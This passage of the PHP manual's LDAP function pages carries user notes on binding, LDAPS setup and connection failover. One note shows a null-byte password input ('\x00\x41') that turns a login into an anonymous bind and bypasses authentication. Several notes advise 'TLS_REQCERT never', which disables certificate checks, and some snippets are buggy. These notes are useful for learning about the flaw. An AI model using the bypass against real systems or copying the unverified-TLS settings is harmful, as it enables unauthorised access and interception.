  #if it say something about a cn or user then you are trying with the wrong $dn pattern i found this by looking at OpenLDAP source code :)
  #we can figure out the right pattern by searching the user tree
  #remember to turn on the anonymous search on the ldap server
  if ($bind=ldap_bind($ds)) {

    $filter = "(cn=*)";

    if (!($search=@ldap_search($ds, $ldapconfig['basedn'], $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ds)."'</br>");#check the message again
    } else {
      $number_returned = ldap_count_entries($ds,$search);
      $info = ldap_get_entries($ds, $search);
      echo "The number of entries returned is ". $number_returned."<p>";
      for ($i=0; $i<$info["count"]; $i++) {

        var_dump($info[$i]);#look for your user account in this pile of junk and apply the whole pattern where you build $dn to match exactly the ldap tree entry
      }
    }
  } else {
    echo("Unable to bind anonymously<br>");
    echo("msg:".ldap_error($ds)."<br>");
  }
}
?>

as you can see most of the examples use "cn=username" and OpenLDAP uses "uid=username" but who knows what will be used in the future builds, this code will help you check it out (I hope :)
spam[AT]it-blog[DOT]net 04-Sep-2009 07:18
When using LDAP with SSL and a LDAP server which uses a self-signed SSL certificate normally no connection will be established. Therefor you have to allow such connections explicitly.
With Linux (e.g. Debian, Ubuntu) you have to add "TLS_REQCERT never" to your /etc/ldap/ldap.conf. On other distributions this config file may be located somewhere else.
taomanjay at _DIESPAM_gmail dot com 09-Feb-2009 02:36
Just a quick and easy function to authenticate against an AD domain controller:

<?php
function ad_auth( $server, $username, $password ){
        $ldap = @ldap_connect( $server );

        if ( @ldap_bind( $ldap, $username, $password ) ){
                ldap_unbind( $ldap );
                return 1;
                }
        else{
                return 0;
                }
        }
?>
juan[dot]pineda[at]resultstel.com 07-Jan-2009 08:27
Active Directory doesn't accept anonymous requests anymore.

With Windows Server 2003, only authenticated users may initiate an LDAP request against Windows Server 2003-based domain controllers. You can override this new default behavior by changing the seventh character of the dsHeuristics attribute on the DN path as follows:
CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,Root domain in forest

from: http://support.microsoft.com/kb/326690
james at NOSPAM dot revillini dot com 27-Oct-2008 06:55
I couldn't get ldap_bind to work on an ldaps connection until I followed some instructions about creating an ldap.conf file.  I don't see these instructions anywhere on the php site.  Maybe they're on the OpenLDAP site, but I thought it would be useful to have here as well.  Credit goes to a dude known as 'LRM', and I found my solution here: http://lists.horde.org/archives/sork/Week-of-Mon-20040503/001578.html

My setup is XAMPP on Win XP.
###### ApacheFriends XAMPP (basic package) version 1.6.3a ######

  + Apache 2.2.4
  + MySQL 5.0.45
  + PHP 5.2.3 + PHP 4.4.7 + PEAR
  + PHP-Switch win32 1.0 (please use the "php-switch.bat")
  + XAMPP Control Version 2.5 from www.nat32.com
  + XAMPP Security 1.0
  + SQLite 2.8.15
  + OpenSSL 0.9.8e
  + phpMyAdmin 2.10.3
  + ADOdb 4.95
  + Mercury Mail Transport System v4.01b
  + FileZilla FTP Server 0.9.23
  + Webalizer 2.01-10
  + Zend Optimizer 3.3.0
  + eAccelerator 0.9.5.1 for PHP 5.2.3  (comment out in the php.ini)

1. create C:\OpenLDAP\sysconf\ldap.conf (Yes, it MUST be this path because it's hard-coded in the dll)
2. put this line at the top:

TLS_REQCERT never

3. Save, stop/start apache.

The reason is, I think, because it doesn't understand the certificate, so this directive tells it to not bother checking it.  I guess that could be unsafe in some cases, but in my case I'm confident with the server I'm connecting to.

My connection code was as follows (nothing new here, I don't think):

<?php
$con = @ldap_connect('ldaps://the.ldap.server', 636);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
var_dump(@ldap_bind($con, 'user@sub.domain.com', 'password'));
?>

Good luck!  LDAPS can be a real bitch.
Devia dot Fan at gmail dot com 23-Jun-2008 10:12
Hi All, I just thought people should realize that the bug, or whatever change that was implemented with slapd and Openldap for the version V3 protocol has either not been repaired, or isn;t believed to be a bug or whatever...but still requires an implicit setting to V3 for use of the ldap_bind function. I am using Apache 2 and PHP 5.1 with LDAP 2. The default is set to deny V2 protocol, and even reconfiguring the slapd config file will not fix the problem.

You must still use the ldap_set_option function.

EX:

<?php
    $ldapHost = "ldap://server";
        $ldapPort = "port";
    $ldapUser ="cn=name,dc=domain";
    $ldapPswd ="password";

$ldapLink =ldap_connect($ldapHost, $ldapPort)
    or die("Can't establish LDAP connection");

if (ldap_set_option($ldapLink,LDAP_OPT_PROTOCOL_VERSION,3))
{
    echo "Using LDAP v3";
}else{
    echo "Failed to set version to protocol 3";
}

ldap_bind($ldapLink,$ldapUser,$ldapPswd)
    or die("Can't bind to server.");

?>

Thanks to Ken on below for showing the way. There was a slight code error in what he chose as his link_id, but thats all. This code above worked nice and shinny, and demonstrates we are still working with 2004 problems. I wish they would update this in the code above.
Josh A. 20-Jul-2007 07:29
The OpenLDAP libraries will return error 53 (Server unwilling to perform) when trying to re-bind to a non-anonymous account if you accidentally leave the password field blank. If you want to authenticate against a different field than the dn, you have to bind to the server twice. Your code may look like the following:

<?
function ldapLogin($uname, $pass, $base_dn, $fname, $server, $port){
    $ldc=@ldap_connect($server, $port);
    if (!$ldc) return ERROR_CODE;

    $bn='cn=anonymous-user,'.$base_dn;
    $pw='anonymous-pass';
    $lbind=@ldap_bind($ldc, $bn, $pw);
    if (!$lbind) return ERROR_CODE;

    $ureturn=@ldap_search($ldc, $base_dn, "($fname=$uname)", array('dn', 'givenName', 'sn', 'mail'));

    $uent=@ldap_first_entry($ldc, $ureturn);
    if (!$uent) return ERROR_CODE;

    $bn=@ldap_get_dn($ldc, $uent);

    //This line should use $pass rather than $password
    $lbind=@ldap_bind($ldc, $bn, $password);
    // Now you can find the error
    echo ldap_error($ltc);

    if ($lbind) return true; else return false;
?>

Hope this helps someone else running in to the same error.
Teemu 29-Mar-2007 12:44
Example of connecting and searching AD

$con = ldap_connect('ad.domain.com');
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
ldap_bind($con, 'user@DOMAIN.COM', 'clear password');

ldap_search($con, 'DC=domain,DC=com', '(uniqueMember=user)');
alex dot everett at okstate dot edu 07-Mar-2007 12:19
A number of examples and implementations of authentication schemes which use LDAP simple binds to authenticate users fail to properly sanitize user-submitted data. This can allow for an anonymous user to authenticate to a web-based application as an existing user. Provided below is a brief description and example of how this vulnerability can arise. For more detailed information please visit the links at the bottom of this posting.

The bind operation of LDAP, as described in RFC 4513, provides a method which allows for authentication of users. For the Simple Authentication Method a user may use the anonymous authentication mechanism, the unauthenticated authentication mechanism, or the name/password authentication mechanism. The unauthenticated authentication mechanism is used when a client who desires to establish an anonymous authorization state passes a non-zero length distinguished name and a zero length password. Most LDAP servers either can be configured to allow this mechanism or allow it by default. Web-based applications which perform the simple bind operation with the client's credentials are at risk when an anonymous authorization state is established. This can occur when the web-based application passes a distinguished name and a zero length password to the LDAP server.
This is commonly encountered when no password is provided from the client to the web-based application. This situation is described in some of the postings found below. For this situation, the recommendations found in other postings is sufficient to prevent authentication bypass.
However, no prior postings at php.net describe a situation in which a client may pass a distinguished username and a password of non-zero length to the web-based application which results in an anonymous authorization state. Below is an example of this situation.

$dn="testuser";
$pass="\x00\x41";
if (empty($dn) or empty($pass)) { exit(); } //check for empty strings
//if (preg_match('/[^a-zA-Z]/',$dn) or preg_match('/[^a-zA-Z0-9\x20!@#$%^&*()]/',$pass)) { exit(); } //check for expected values (whitelisting)
//if (preg_match('/\x00/',$dn) or preg_match('/\x00/',$pass)) { exit(); } //check for null byte (blacklisting)
$ldapconn=ldap_connect("192.0.2.2") or die("Could not connect to LDAP server.");
if ($ldapconn) {
        ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
        $ldapbind=ldap_bind($ldapconn, $dn, $pass);
        if ($ldapbind) {
                echo("success");
        } else {
                echo("fail");
                }
        }

References:
http://security.okstate.edu
john dot hargrove at sellingsource dot com 01-Feb-2007 03:09
Note that you have to specify the protocol version prior to making a call to ldap_bind, when the server is expecting LDAP protocol version 3.  If you do not, you will receive a warning and fail to bind, such as:

ldap_bind(): Unable to bind to server: Protocol error

In order to avoid this, make this call:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Where $ds is the result returned by ldap_connect(...);
david dot marsh at hartfordlife dot com 08-Aug-2006 12:49
had to do a bunch of research on this, but it does work, once config'd correctly.

using Apache/2.2.3 (Win32) mod_ssl/2.2.3 OpenSSL/0.9.8b
PHP PHP Version 5.1.5-dev

ldap_bind was getting "81 Can't contact LDAP server" which was really annoying, since the connection worked fine without "ldaps"
using:

$ldapconnect = @ldap_connect( $connection_string );

well, actually the bind was really the one failing...

$bind = ldap_bind($ldapconnect, $client, $this->objSecurityLogin->Password);

many attempts to determine until i smartened up and turned on the trace level:

ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

which must go before the connect!

found that on windows, you can't specifiy a quote in the ldap.conf:
i had:
TLS_REQCERT never
TLS_CACERT "C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem"
which throws the error..
TLS: could not load verify locations (file:`"C:\Documents\Tools\Apache2\conf\ssl\ad.pem"',dir:`').
TLS: error:0200107B:system library:fopen:Unknown error .\crypto\bio\bss_file.c:122
TLS: error:2006D002:BIO routines:BIO_new_file:system lib .\crypto\bio\bss_file.c:127
TLS: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib .\crypto\x509\by_file.c:274
ldap_err2string

changed to:
TLS_REQCERT never
TLS_CACERT C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem
which cleans it up as:
TLS trace: SSL_connect:before/connect initialization
TLS trace: SSL_connect:SSLv2/v3 write client hello A
TLS trace: SSL_connect:SSLv3 read server hello A
TLS certificate verification: depth: 1, err: 0, subject: /DC=xxx/DC=yyy/CN=zzzz, issuer: /DC=abab/DC=yyy/CN=zzzz
TLS certificate verification: depth: 0, err: 0, subject: ......

so the moral to the story is even though PHP wants quotes in some windows config parms, it won't work if its in ldap.conf!
romerom at cox dot net 12-Jul-2006 02:43
I ran into an issue trying to bind as "cn=manager,dc=example,dc=com".  I took the example kenn posted where he set LDAP_OPT_PROTOCOL_VERSION to "3" for the connection.  Once I set this, I was able to bind with my manager id.
dedlfix 03-May-2006 12:36
It doesn't make much sense to let die() the script in case of an error, otherwise to ask if there were no errors before proceeding the script, as the official examples do.

better:

<?php
ldap_bind(...) or die(...);
do_something();
?>

or even better (die() is quick but dirty)

<?php
if (!ldap_bind(...)) {
  error();
} else {
  do_something();
}
?>
baroque at citromail dot hu 05-Nov-2005 01:18
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
17-Oct-2005 11:47
When using Active Directory 2003 (possibly also 2000) you can't search anonymously so you have to bind with a (known) user and password. Or else you will get an Search operations error. I also can confirm that an empty password bind succeeds! So test for an empty password first!

Some excellent information is found here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
http://www.scit.wlv.ac.uk/~jphb/sst/basics/ldap.html
darkstar_ae at hotmail dot com 15-Sep-2005 12:03
This may be a security issue but after tinkering for hours with the below ldap auth function (edi01 at gmx dot at), I discovered that the ldap_bind function will return true if you enter a valid username AND a NULL value!

so if that function were to receive something like $username = 'someuser' and $password = '', it would return true. As long as it isn't a null value the function will work as expected. Might as well check if it is null or empty then.
get_your_gun at hotmail dot com 23-Aug-2005 11:33
Hey

I was trying this all day and final noticed that when you use bind and authenticate. The user name needs to be as follows for it to work. I am using PHP V 4.03 so this might be different now but here is what I used and the auth worked.

<?php
$ldaphost = "ldap.what.at.greatnet.com";
$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds)
{
    $username = "johndoe@what.at.greatnet.com";
    $upasswd = "pass";

    $ldapbind = ldap_bind($ds, $username, $upasswd);

    if ($ldapbind)
        {print "Congratulations! $username is authenticated.";}
    else
        {print "Nice try, kid. Better luck next time!";}
}

?>
edi01 at gmx dot at 05-Apr-2005 01:31
complete ldap authentication script:

function checkldapuser($username,$password,$ldap_server){
  if($connect=@ldap_connect($ldap_server)){ // if connected to ldap server

    if (ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      echo "version 3<br>\n";
    } else {
      echo "version 2<br>\n";
    }
    echo "verification on '$ldap_server': ";

    // bind to ldap connection
    if(($bind=@ldap_bind($connect)) == false){
      print "bind:__FAILED__<br>\n";
      return false;
    }

    // search for user
    if (($res_id = ldap_search( $connect,
                                "dc=auto,dc=tuwien,dc=ac,dc=at",
                                "uid=$username")) == false) {
      print "failure: search in LDAP-tree failed<br>";
      return false;
    }

    if (ldap_count_entries($connect, $res_id) != 1) {
      print "failure: username $username found more than once<br>\n";
      return false;
    }

    if (( $entry_id = ldap_first_entry($connect, $res_id))== false) {
      print "failur: entry of searchresult couln't be fetched<br>\n";
      return false;
    }

    if (( $user_dn = ldap_get_dn($connect, $entry_id)) == false) {
      print "failure: user-dn coulnd't be fetched<br>\n";
      return false;
    }

    /* Authentifizierung des User */
    if (($link_id = ldap_bind($connect, $user_dn, $password)) == false) {
      print "failure: username, password didn't match: $user_dn<br>\n";
      return false;
    }

    return true;
    @ldap_close($connect);
  } else {                                  // no conection to ldap server
    echo "no connection to '$ldap_server'<br>\n";
  }

  echo "failed: ".ldap_error($connect)."<BR>\n";

  @ldap_close($connect);
  return(false);

}//end function checkldapuser

Here a sample for using this function:

if (checkldapuser('myuser', 'secretpassword', 'ldap://link.to.ldap')) {
  echo "ACCESS GRANTED\n";
} else {
  echo "ACCESS DENIED\n";
}
owen at delong dot com 24-Feb-2005 04:04
I am assuming that ldap_bind does a simple bind and that for other
types of bind, ldap_sasl_bind should be used.

Also, while the allow bind v2 solution will work with slapd, you really should
use ldap v3 if at all possible because of the security improvements and
better protocol definition.  LDAP v2 is largely deprecated at this point.

Hopefully the PHP default LDAP version will move to v3 soon.
phredbroughton at yahoo dot com 16-Feb-2005 11:27
As noted before with the password, I have found that if either  of the valuse for user or password are blank, or as in my case a typo resulted in a blank user as it was an undefined variable, the ldap_bind() will just perform an anonymous bind and return true!
Shouldn't this detect the presence of the additional values and return an error? At least if the user or password is passed. If they are both blank I'm not sure what it should do.
wkaiser at mpimf-heidelberg dot mpg dot de 24-Nov-2004 11:40
If you do not want to bind as unixadmin or *manager (i. e., for authentication on web applications), the following code could be useful:
<?php

$ldaphost = "ldap.yourdomain.com";

/*for a SSL secured ldap_connect()

$ldaphost = "ldap.yourdomain.com"; */

$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds) {

$username = "some_user";
$upasswd = "secret";
$binddn = "uid=$username,ou=people,dc=yourdomain,dc=com";

$ldapbind = ldap_bind($ds, $binddn, $upasswd);

if ($ldapbind) {

print "Congratulations! $some_user is authenticated.";}

else {

print "Nice try, kid. Better luck next time!";}}

?>
jakob at grimstveit dot no 19-Oct-2004 08:33
As "john dot lewis at waldenweb dot com" correctly writes (and this is important to note and SHOULD be incorporated into the documentation as a warning - trying to bind with specific username and empty password will return TRUE.
kenn at pcintelligent dot com 13-Jun-2004 11:32
I want to point out that the line that reads

"$ldaprdn  = 'uname';"

is a bit confusing. You need to ensure that you use the entire rootdn. for instance. your code should look more like this...

<?php

// using ldap bind *** NOTE the uname *****
$ldaprdn  = 'cn=root,dc=testserver,dc=com';    // ldap rdn or dn
$ldappass = 'secret';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.testserver.com")
   or die("Could not connect to LDAP server.");

if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   echo "Using LDAPv3";
} else {
   echo "Failed to set protocol version to 3";
}

if ($ldapconn) {

   // binding to ldap server
   $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

   // verify binding
   if ($ldapbind) {
       echo "LDAP bind successful...";
   } else {
       echo "LDAP bind failed...";
   }

}

?>
pete dot rowley at example dot com 31-Dec-2003 08:51
You should NOT attempt to bind with a made up password.  However small the chance, the chance remains that your code produces a valid password.  The correct behaviour is to test for an empty password, and if your application will only service authenticated users, not perform any more LDAP operations on behalf of the user - this also happens to be more efficient.
kokheng at jhs dot com dot sg 21-Nov-2002 01:01
OpenLdap 2.1.x libraries support both LDAPv2 and LDAPv3. The problem lies with the slapd, the ldap server bundled with OpenLDAP.  It's default supported version is LDAPv3. One can set the "allow bind_v2" in the slapd.conf file, with this configured, the PHP ldap_set_option() is not required.
elvisciousatrmci.net 27-Sep-2002 11:08
I ran into a problem where I was getting a protocol error when I tried to bind.  I was able to connect fine and ldap commands worked fine from the command line.

The problem turned out to be that openldap (v 2.1.5) was starting up in version 3 ldap mode, and php (4.2.3) expected it to be in version 2 mode.

To fix this use the ldap_set_option command to change the version that php expects.


ldap_unbind のエイリアス

  • ≪ ldap_bind
  • ldap_compare ≫
  • PHP Manual
  • LDAP 関数
  • ldap_unbind のエイリアス

ldap_close

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_close — ldap_unbind() のエイリアス

説明

この関数は次の関数のエイリアスです。 ldap_unbind().

User Contributed Notes

20-Jul-2001 11:15
<?php
$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    $r=ldap_bind($ds,"cn=root, o=My Company, c=US", "secret");
    $info["cn"]="Roberto Celestino";
    $info["sn"]="Roberto";
    $info["mail"]="rcelestino@here.and.now";
    $info["objectclass"]="person";

    // add data to directory
    $r=ldap_add($ds, "cn=Celestino Roberto, o=Mi Compania, c=US", $info);
    //Close the link apointed by the identified $ds (get with ldap_connect)
    ldap_close($ds);

}
?>


指定した DN のエントリで見付かった属性の値を比較する

  • ≪ ldap_close
  • ldap_connect ≫
  • PHP Manual
  • LDAP 関数
  • 指定した DN のエントリで見付かった属性の値を比較する

ldap_compare

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_compare — 指定した DN のエントリで見付かった属性の値を比較する

説明

ldap_compare ( resource $ldap , string $dn , string $attribute , string $value , array|null $controls = null ) : bool|int

属性 attribute の値 value を、指定した LDAP ディレクトリエントリの同じ属性の値と比較します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

LDAP エンティティの識別名。

attribute

属性の名前。

value

比較する値。

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

value がマッチする場合に true、その他の場合に false、エラーの場合に -1 を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

例

次の例は、指定したパスワードが DN の指定したエントリで定義された ものと一致するかどうかをチェックする方法を示しています。

例1 パスワード確認の例

<?php

$ds=ldap_connect("localhost");  // LDAP サーバーが同一ホストであると仮定

if ($ds) {

    // バインド
    if (ldap_bind($ds)) {

        // データを準備
        $dn = "cn=Matti Meikku, ou=My Unit, o=My Company, c=FI";
        $value = "secretpassword";
        $attr = "password";

        // 値を比較
        $r=ldap_compare($ds, $dn, $attr, $value);

        if ($r === -1) {
            echo "Error: " . ldap_error($ds);
        } elseif ($r === true) {
            echo "Password correct.";
        } elseif ($r === false) {
            echo "Wrong guess! Password incorrect.";
        }

    } else {
        echo "Unable to bind to LDAP server.";
    }

    ldap_close($ds);

} else {
    echo "Unable to connect to LDAP server.";
}
?>

注意

警告

ldap_compare() では BINARY 値を比較することはできません!

User Contributed Notes

oudejans at zeelandnet dot nl 11-Apr-2005 05:10
With PHP 4.3.* is Password no longer a valid attribute.. try to use userPassword
chuck+ldap at 2006 dot snew dot com 05-Aug-2004 10:08
Just a side note that this is not how you'd ever AUTHENTICATE someone, just an example code.

The common way to authenticate is to get the users name, use search and perhaps selection to the user to get her DN (single value) then attempt to BIND to the ldapserver using that dn and the offered password.  If it works, then it's the right password.

Note that the password offered MUST NOT BE EMPTY or many LDAPs will presume you meant to authenticate anonymously and it will succeed, leaving you thinking it's the right password.
Brian Kerhin &lt;kerhin at bigfoot dot com&gt; 31-Jan-2001 06:13
Not probably, will.  With PHP 4.0.4 and openldap 1.2.9 this little script, even with the correct attributes for the password does not do the job.  Would superb if it did!
334647 at swin dot edu dot au 25-Oct-2000 07:06
Interesting example. Apart from the fact that very few people would allow comaprisions of the password attribute for security reasons. The attribute name of "password" does not match the usual schemas.

The usual method of user id + password verification is to attempt to bind using the supplied credentials.

Ldap compare on password values will probably fail with ns directroy server and openldap v2+ becuase of server support for password hashing.


LDAP サーバーへ接続する

  • ≪ ldap_compare
  • ldap_control_paged_result_response ≫
  • PHP Manual
  • LDAP 関数
  • LDAP サーバーへ接続する

ldap_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_connect — LDAP サーバーへ接続する

説明

ldap_connect ( string|null $uri = null ) : resource|false
警告

次の シグネチャは(名前付き引数以外の)後方互換のためまだサポートされていますが、 非推奨と見なされているのでもう使わないでください！

ldap_connect ( string $host = null , int $port = 389 ) : resource|false

LDAP リンク ID を作成して、指定した uri が妥当であるかどうかを調べます。

注意: 注意: この関数は、接続を確立するするわけでは ありません。 指定したパラメータが妥当であり、必要に応じて接続をオープンできるかどうかを調べるだけです。

パラメータ

uri

完全な LDAP URI を指定します。ldap://hostname:port 形式、あるいは SSL を用いる場合は ldaps://hostname:port 形式が使えます。

複数の LDAP URI を指定する場合は、間にスペースをはさんだひとつの文字列とします。

hostname:port 形式は LDAP URI としてサポートされないことに注意しましょう。 スキーマが抜けているからです。

host

接続するホスト名

port

接続するポート。

返り値

LDAP URI が妥当であると思われる場合に正の LDAP リンク ID を返します。 これは単なる構文チェックであり、実際にサーバーに接続するわけではありません。 構文チェックに失敗した場合は false を返します。 失敗していない場合は、ldap_connect() は常に resource を返しますが、実際には接続せずにパラメータの初期化だけを行います。 実際に接続するのは次に ldap_* 関数がコールされた際で、これは 通常は ldap_bind() です。

引数が指定されない場合、既に開かれているリンクのリンク ID を返します。

例

例1 LDAP サーバーに接続する例

<?php

// LDAP 変数
$ldapuri = "ldap://ldap.example.com:389";  // ldap-uri

// LDAP に接続します
$ldapconn = ldap_connect($ldapuri)
          or die("That LDAP-URI was not parseable");

?>

例2 LDAP サーバーへのセキュアな接続の例

<?php

// サーバー証明書が証明するホストであることを
// 確認する
$ldaphost = "ldaps://ldap.example.com/";

// LDAP に接続します
$ldapconn = ldap_connect($ldaphost)
          or die("That LDAP-URI was not parseable");

?>

参考

  • ldap_bind() - LDAP ディレクトリにバインドする

User Contributed Notes

nateshull at gmail dot com 03-Mar-2020 07:26
Implementing LDAPS on a WISP stack - Win, IIS, SQL, PHP
PHP 7.0.19:

Had some issues with some of the instructions and I needed LDAPS for an upcoming Active Directory update that removes insecure LDAP connections.

Enable modules for ldap and openssl in php.ini

Also ensure the extensions are in the ext folder

Verify the modules are loaded: phpinfo()

Notes:
The ldap or openssl config file is not needed if the environment variables are set in the code. Also the ca path does not like double quotations around the path.

*** code sample:

 <?php
$ldapuser = "domain\\user";
$ldappass = "Passsword";
$ldapserver = "ldaps://server.domain.com";

//options are require, never, allow
//require is most secure, the others could allow for man in the middle attacks
putenv('LDAPTLS_REQCERT=require');

//tell ldap where the root ca certificate is
//note that the space is allowed in the path without escape or quotes
//I have not tested the permissions, but I would assume the service should have read.
putenv('LDAPTLS_CACERT=C:\\Program Files\\php\\certs\\rootca.pem');

//test to ensure the certificate is able to be read and path is right.
echo file_get_contents("LDAPTLS_CACERT=C:\\Program Files\\php\\certs\\rootca.pem");

// Set debugging
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

// connect to ldap server
$ldapconn = ldap_connect($ldapserver) or die ("Couldn't connect");

// binding to ldap server
$ldapbind = false;
$ldapbind = ldap_bind($ldapconn, $ldapuser, $ldappass);

//easy view of success or failure
if ($ldapbind) {
    print("\n logged in! \n\n");
} else {
    print("\n log on failure \n\n");
}
?>
titanrat at bk dot ru 28-Dec-2016 12:02
I found some difference between php7.0 and php5.5 on this function

Php5 ldap_connect ('host', 0) try to connect default port - host:389
Php7 ldap_connect ('host', 0) try to connect host:0 and crashes.
antoine dot php dot net at bonnefoy dot eu 23-Nov-2015 10:30
Hello,

Little corrections to nemanja  post.
- There was a warning if connection is denied by firewall (adding @ before fsockopen)
- fclose parameter was incorrect.

With this approach, you get a real nice failover functionality, take for an example a company with a dozen of DC-a distributed along distant places, this way your PHP program will always have high availability if at least one DC is active at present.
<?php
function serviceping($_host, $_port = 389, $_timeout = 1) {
    $op = @fsockopen($_host, $_port, $errno, $errstr, $_timeout);
    if (!$op) {
        echo "KO!";
        return 0;

    } //DC is N/A
    else {
        fclose($op); //explicitly close open socket connection
        return 1; //DC is up & running, we can safely connect with ldap_connect
    }
}

function ldap_connect_failover($_domain) {
// ##### STATIC DC LIST, if your DNS round robin is not setup
//$dclist = array('10.111.222.111', '10.111.222.100', '10.111.222.200');
// ##### DYNAMIC DC LIST, reverse DNS lookup sorted by round-robin result
    $dclist = gethostbynamel($_domain);

    foreach ($dclist as $dc) {
        if (serviceping($dc) == true) {
            break;
        } else {
            $dc = 0;
        }
    }
//after this loop, either there will be at least one DC which is available at present, or $dc would return bool false while the next line stops program from further execution

    if (!$dc) {
        return false;
    } //user being notified

    return ldap_connect($dc);
}
?>
Nixahnung 22-Jul-2015 03:13
I have spent a lot of time to make an LDAPS connection to a MS AD Global Catalog port 3269

My five Cents:

ldap_connect("ldaps://example.com", 3269)
=> Connection to 636.... :(, DC only

ldap_connect("ldaps://example.com:3269")
=> Connection to 3269.... :), GC as expected

May it helps...
lee at lareck70 dot net 08-Jul-2015 06:20
To use LDAPS on Windows whitout "c:\openldap\sysconf\ldap.conf":
Generate a file like ldap.conf, name it "ldaprc".
For PHP script running on command line put the file to the script.
For PHP script running on webserver put the file in home directory of PHP.
mwilmes at avc dot edu 18-May-2015 05:26
I support a LAMP stack with PHP-FPM on CentOS 7 that needs to connect to Active Directory over SSL.  We have a root certificate for the domain.  I was able to set this up in five steps.

1. Get the domain's root SSL certificate in base64. (Must be an Enterprise Administrator - talk with your admin if you are not one.)
Run mmc.exe
File -> Add/Remove Snap-in
Select Certification Authority, then the server that generates certificates for your domain.
Expand the tree until you find the entry for the root certificate, then right click->Properties.
Click the "View Certificate" button, The "Details" tab, then the "Copy to File..." button.
Use the wizard to export the root certificate to your computer. Ensure you use the Base-64 format.

2. Copy the root cert to the Linux server.  You can open the certificate in notepad and copy and paste the contents.

3. Convert the certificate to pem format.  Substitute the names of files as needed.
openssl x509 -in <copied certificate file> -out /etc/openldap/certs/<cert>.pem

4. Add a line in ldap.conf to use new root cert.
vi /etc/openldap/ldap.conf
TLS_CACERT      /etc/openldap/certs/<cert>.pem

5.Restart the PHP service.
systemctl restart php-fpm.service
harrison at glsan dot com 10-Mar-2015 06:07
To override the ssl ca file can be done by setting an environmental variable within php.

I found using saving the ca certificate (and intermediate ca's) to a file called ca.pem and then adding

putenv('LDAPTLS_CACERT=./ca.pem');

before ldap_connect works for me.
Code example:
<?php
putenv('LDAPTLS_CACERT=./ca.pem');
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);
$l = ldap_connect("ldaps://ldap/");
ldap_set_option($l, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_bind($l, "cn=apache,dc=example", "xxxxxxx");
echo(ldap_error($l)."\n");
$s = ldap_search($l, "dc=example", "uid=test");
echo(ldap_count_entries($l, $s)."\n");
?>
in the file  ca.pem in the same directory we have our ca's:
-----BEGIN CERTIFICATE-----
<cert here>
-----END CERTIFICATE-----
TheThinkingMan 18-Jan-2015 10:52
I have spent hours and hours trying to get an LDAPS connection happening with my local AD LDS instance (running on Windows 8.1 64bit).

I tried certificate after certificate. OpenSSL, Thawte and Self-signed - all with no success.

I ended up deleting all of my certificates and created a Self-signed certificate using IIS 7 (running on Windows 8.1).

I then downloaded the Softerra LDAP browser and it was able to connect to my AD LDS instance via SSL with no problems.

Sure if it could PHP could.

I used the following code to connect:
<?php
$ldap_server = "ldaps://delllappy:636";
$ldap_conn = ldap_connect($ldap_server)  or die("Failed to connect to LDAP server.");
?>
I added the following above the ldap_connect:
<?php
putenv('LDAPTLS_REQCERT=allow');
putenv("LDAPCONF=C:\OpenLDAP\sysconf\ldap.conf");
?>

That did nothing.

The ldap_bind command I used was:
<?php
if (!ldap_bind($ldap_conn, $ldap_user, $ldap_pass)) {
    echo "error";
}else{
    echo "success";
}
?>
BTW: I added a heap of debug in the code too - which is referenced elsewhere - so I didn't add it in here.

The error that I kept on getting was:
Error Binding to LDAP: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

I then ran ProcMon (Process Monitor from Microsoft).

I monitored when I restarted my web server (Z-WAMP). At that point there was no attempt to read ldap.conf.

I then loaded up my web page with my test.php file.

At that point I noticed that it was ldap.conf that was being read but openldap.conf.

Of course as my file was called ldap.conf, openldap.conf failed. I renamed my ldap.conf to openldap.conf and everything worked.

On Z-WAMP running OpenLDAP don't used ldap.conf, use openldap.conf.

The openldap.conf file was placed in C:\openldap\sysconf\.

As the PUTENV values did not do anything, I removed them.
nemanja at prolux-universal dot com 04-Sep-2014 11:00
If you don't want your PHP program to wait XXX seconds before giving up in a case when one of your corporate DC have failed, and since ldap_connect() does not have a mechanism to timeout on a user specified time, this is my workaround which shows excellent practical results.

===========================================================
function serviceping($host, $port=389, $timeout=1)
{
